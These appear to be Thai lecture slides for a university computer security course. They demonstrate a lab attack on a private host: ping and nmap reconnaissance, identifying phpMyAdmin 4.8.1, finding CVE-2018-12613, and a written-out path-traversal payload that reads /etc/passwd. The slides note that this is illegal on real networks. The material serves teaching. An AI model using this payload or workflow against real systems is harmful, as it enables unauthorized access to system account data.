



ความปลอดภัยคอมพิวเตอร์ (424) ชนิดของการโจมตีทางไซเบอร์

สำหรับนักศึกษาชั้นปีที่ 4 สาขาวิชาวิศวกรรมคอมพิวเตอร์

กรงฤทธิ์ กิติศรีวงศ์พันธุ์
Email : songrit@npu.ac.th
สาขาวิชาวิศวกรรมคอมพิวเตอร์
คณะวิศวกรรมศาสตร์ มหาวิทยาลัยนครพนม

Revised 2020-06-26

Lecture plan

- 1.1 ข้อมูลเบื้องต้น
- 1.2 ชนิดช่องโหว่ด้านความปลอดภัย
- **1.3 ชนิดการโจมตี**
- 1.4 แรงจูงใจการโจมตีทางไซเบอร์
- 1.5 ตัวอย่างการโจมตี: Buffer overflow

การโจมตี

- เรียกการโจมตีว่า Attack
- เครื่องมือที่ใช้โจมตีเรียกว่า Exploit
- จุดที่โจมตีเกิดจากมีช่องโหว่

ตัวอย่างการห้าช่องไหว

- 1. ได้เครื่องเป้าหมาย
- 2. ตรวจสอบพอร์ต
- 3. กดลองใช้งาน
- 4. ตรวจสอบเวอร์ชันซอฟต์แวร์
- 5. นำข้อมูล สืบค้น exploit บนเว็บ
- 6. กดลองเจาะระบบ

ใบสั่งเจาะระบบ

- เป้าหมาย : **172.17.0.13**
- ความต้องการ
 - ต้องการกราบ user account กึ่งหมด

1. ได้ไอพีเครื่องเป้าหมาย

- 172.17.0.13
- ตรวจสอบการติดต่อเครื่องเป้าหมาย
- ping 172.17.0.13

```
192:~ songritk$ ping 172.17.0.13
PING 172.17.0.13 (172.17.0.13): 56 data bytes
64 bytes from 172.17.0.13: icmp_seq=0 ttl=63 time=39.171 ms
64 bytes from 172.17.0.13: icmp_seq=1 ttl=63 time=41.370 ms
64 bytes from 172.17.0.13: icmp_seq=2 ttl=63 time=39.295 ms
64 bytes from 172.17.0.13: icmp_seq=3 ttl=63 time=39.732 ms
40
```

2. ตรวจสอบพอร์ตที่สามารถติดต่อได้

- ** ขึ้นตอนหลังจากนี้ ผิดกฎหมาย เมื่อนำมาใช้กับเครือข่ายจริง **
- ใช้โปรแกรม nmap ทำการค้นหาพอร์ต

```
nmap -P0 -sS -O 172.17.0.2
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-03 23:14 +07
Nmap scan report for 172.17.0.13 (172.17.0.13)
Host is up (0.14s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
80/tcp    open  http
Nmap done: 1 IP address (1 host up) scanned in 3.23 seconds
```

3. នគរបាយ

The screenshot shows the phpMyAdmin 4.8.1 configuration interface. The top bar displays the URL `172.17.0.13 / mysql | phpMyAdmin 4.8.1`. The left sidebar shows databases `information_schema` and `test`. The main content area is divided into several sections:

- General settings:** Server connection collation is set to `utf8mb4_unicode_ci`.
- Appearance settings:** Language is English, Theme is pmahomme, and Font size is 82%.
- Database server:** Lists MySQL server details:
 - Server: mysql (mysql via TCP/IP)
 - Server type: MySQL
 - Server connection: **SSL is not being used**
 - Server version: 5.5.62 - MySQL Community Server (GPL)
 - Protocol version: 10
 - User: test@192.168.96.3
 - Server charset: UTF-8 Unicode (utf8)
- Web server:** Lists web server and PHP details:
 - Apache/2.4.25 (Debian)
 - Database client version: libmysql - mysqld 5.0.12-dev - 20150407 - \$Id: 3bfeaa24f2847fa7519001be390c98ae0acafe387 \$
 - PHP extension: mysqli curl mbstring
 - PHP version: 7.2.5
- phpMyAdmin:** Version information: 4.8.1, latest stable version: 4.9.5. Links to Documentation, Official Homepage, Contribute, Get support, List of changes, and License.

At the bottom, there are two messages:

- A newer version of phpMyAdmin is available and you should consider upgrading. The newest version is 4.9.5, released on 2020-03-21.
- The phpMyAdmin configuration storage is not completely configured, some extended features have been deactivated. [Find out why.](#) Or alternately go to 'Operations' tab of any database to set it up there.

4. ตรวจสอบเวอร์ชันซอฟต์แวร์

Web server

- Apache/2.4.25 (Debian)
- Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 - \$Id: 38fea24f2847fa7519001be390c98ae0acafe387 \$
- PHP extension: mysqli  curl  mbstring 
- PHP version: 7.2.5

phpMyAdmin

- Version information: 4.8.1, latest stable version: [4.9.5](#)
- [Documentation](#)
- [Official Homepage](#)
- [Contribute](#)
- [Get support](#)
- [List of changes](#)
- [License](#)

- Apache/2.4.25
- [Libmysql 5.0.12-dev](#)
- [PHP 7.2.5](#)
- [phpMyAdmin](#)
 - 4.8.1

5. นำข้อมูล สืบค้น exploit uuเว็บ (1/3)

- phpMyAdmin 4.8.1

The screenshot shows a search results page from a search engine. The search query is "phpMyAdmin 4.8.1 cve". The results indicate approximately 9,510 results found in 0.36 seconds. A featured snippet box highlights a vulnerability in phpMyAdmin versions 4.8.0 to 4.8.1, specifically CVE-2018-12613, which allows a remote attacker to execute arbitrary PHP code on the server. Below the snippet, there are links to the original news article on medium.com and the CVE details page on www.cvedetails.com. The page also includes standard search navigation like All, Videos, Images, News, Maps, More, Settings, and Tools.

phpMyAdmin 4.8.1 cve

All Videos Images News Maps More Settings Tools

About 9,510 results (0.36 seconds)

0 ~ 4.8. 1, and it is assigned **CVE-2018-12613**. It is caused by a validation bypass in the vulnerable path checking function Core::checkPageValidity . This **vulnerability** enables an authenticated remote attacker to execute arbitrary PHP code on the server. Jun 29, 2018

medium.com › phpmyadmin-4-8-0-4-8-1-remote-code-execution-25... ▾

[PHPMyAdmin 4.8.0 ~ 4.8.1 Remote Code Execution | by ...](#)

www.cvedetails.com › product_id-1341 › version_id-251933 › Phpm... ▾

[Phpmyadmin » Phpmyadmin » 4.8.1 : Security ... - CVE Details](#)

5. นำข้อมูล สืบค้น exploit uuเว็บ (2/3)

- <https://www.cvedetails.com>

[Phpmyadmin » Phpmyadmin » 4.8.1 : Vulnerability Statistics](#)

[Vulnerabilities \(8\)](#) [Related Metasploit Modules](#) (Cpe Name:cpe:/a:phpmyadmin:phpmyadmin:4.8.1)

[Vulnerability Feeds](#)

[Vulnerability Trends](#)

CVE-2018-12613

Year	# of Vulnerabilities	DoS	Code Execution	Overflow	Memory Corruption	Sql Injection	XSS	Directory Traversal
2018	6		1				3	
2019	2					1		
Total	8		1			1	3	
% Of All		0.0	12.5	0.0	0.0	12.5	37.5	0.0

5. นำข้อมูล สืบค้น exploit uuเว็บ (3/3)

- phpMyAdmin 4.8.1 → [CVE-2018-12613](#)
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613>

- BID:104532
 - [URL: http://www.securityfocus.com/bid/104532](http://www.securityfocus.com/bid/104532)
 - [CONFIRM: https://www.phpmyadmin.net/security/PMASA-2018-4/](https://www.phpmyadmin.net/security/PMASA-2018-4/)
- EXPLOIT-DB:44924
 - [URL: https://www.exploit-db.com/exploits/44924/](https://www.exploit-db.com/exploits/44924/)
- EXPLOIT-DB:44928
 - [URL: https://www.exploit-db.com/exploits/44928/](https://www.exploit-db.com/exploits/44928/)
- EXPLOIT-DB:45020
 - [URL: https://www.exploit-db.com/exploits/45020/](https://www.exploit-db.com/exploits/45020/)
- GENTOO:GLSA-201904-16
 - [URL: https://security.gentoo.org/glsa/201904-16](https://security.gentoo.org/glsa/201904-16)

6. ทดลองเจาะระบบ

- จาก exploit เราได้คัดเจาะระบบ
- CVE-2018-12613 มีช่องโหว่ **Code Execution**
- เราจะสั่งให้อ่านไฟล์ /etc/password
- เพื่อให้ได้ รายชื่อ user account
- /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

The screenshot shows a web browser window with the URL `172.17.0.13/index.php?target=db_sql.php%253f/`. The browser's address bar also shows `172.17.0.13 / my...`. The page title is "Server: mysql:3306". The phpMyAdmin interface is visible, with the "Databases" tab selected. On the left, the "information_schema" database is expanded, showing tables like "CHARACTER_SETS", "COLLATIONS", "COLUMNS", etc. The "COLUMNS" table is currently selected in the main pane, displaying the following data:

User	Host	Type	Length	Character Set	Collation	Privileges
root	%	root	0	binary	latin1_swedish_ci	GRANT
bin	%	bin	2	binary	latin1_swedish_ci	GRANT
sys	%	sys	3	binary	latin1_swedish_ci	GRANT
sync	%	sync	4	binary	latin1_swedish_ci	GRANT
games	%	games	5	binary	latin1_swedish_ci	GRANT
man	%	man	12	binary	latin1_swedish_ci	GRANT
lp	%	lp	7	binary	latin1_swedish_ci	GRANT
mail	%	mail	8	binary	latin1_swedish_ci	GRANT
news	%	news	9	binary	latin1_swedish_ci	GRANT
uuucp	%	uuucp	10	binary	latin1_swedish_ci	GRANT
proxy	%	proxy	13	binary	latin1_swedish_ci	GRANT
www-data	%	www-data	33	binary	latin1_swedish_ci	GRANT
backup	%	backup	34	binary	latin1_swedish_ci	GRANT
list	%	list	38	binary	latin1_swedish_ci	GRANT
Manager	%	Manager	39	binary	latin1_swedish_ci	GRANT
ircd	%	ircd	39	binary	latin1_swedish_ci	GRANT
gnats	%	gnats	41	binary	latin1_swedish_ci	GRANT
Bug-Reporting System (admin)	%	Bug-Reporting System (admin)	41	binary	latin1_swedish_ci	GRANT
nobody	%	nobody	65534	binary	latin1_swedish_ci	GRANT
_apt	%	_apt	100	binary	latin1_swedish_ci	GRANT
user1	%	user1	1000	binary	latin1_swedish_ci	GRANT
songritk	%	songritk	1001	binary	latin1_swedish_ci	GRANT

ลำดับการโյมตี

1. เข้าถึงเครื่องเป้าหมาย
2. รับโปรแกรม
3. ผังโปรแกรมเครื่อง
4. ยกระดับสิทธิ
5. หลบซ่อนการตรวจจับ
6. เข้าถึงข้อมูลที่มีการป้องกัน
7. ศึกษาข้อมูลภายในเครือข่ายเป้าหมาย
8. เข้าถึงเครื่องอื่นในเครือข่าย
9. เก็บรวบรวมข้อมูลเป้าหมาย
10. ส่งคำสั่งควบคุมระยะไกล
11. นำข้อมูลอุปกรณ์เครือข่าย
12. ใช้ข้อมูลนั้นสร้างรายได้

ມັງກອຍກ (ປະເພັນໄດຍ ກົມຍັງ)



บันทึกจากสุสานกระเบี้ ตักไกวคิวป้าย (獨孤求敗)

- สุสานกระเบี้ (มังกรหยก ภาคเอี้ยก้วย)



กระเบี้เหล็ก
 < 20



กระเบี้อ่อนกุหลาบม่วง
 < 30



กระเบี้ไม้เปื้อยผู้
 $40+$



ไรกระเบี้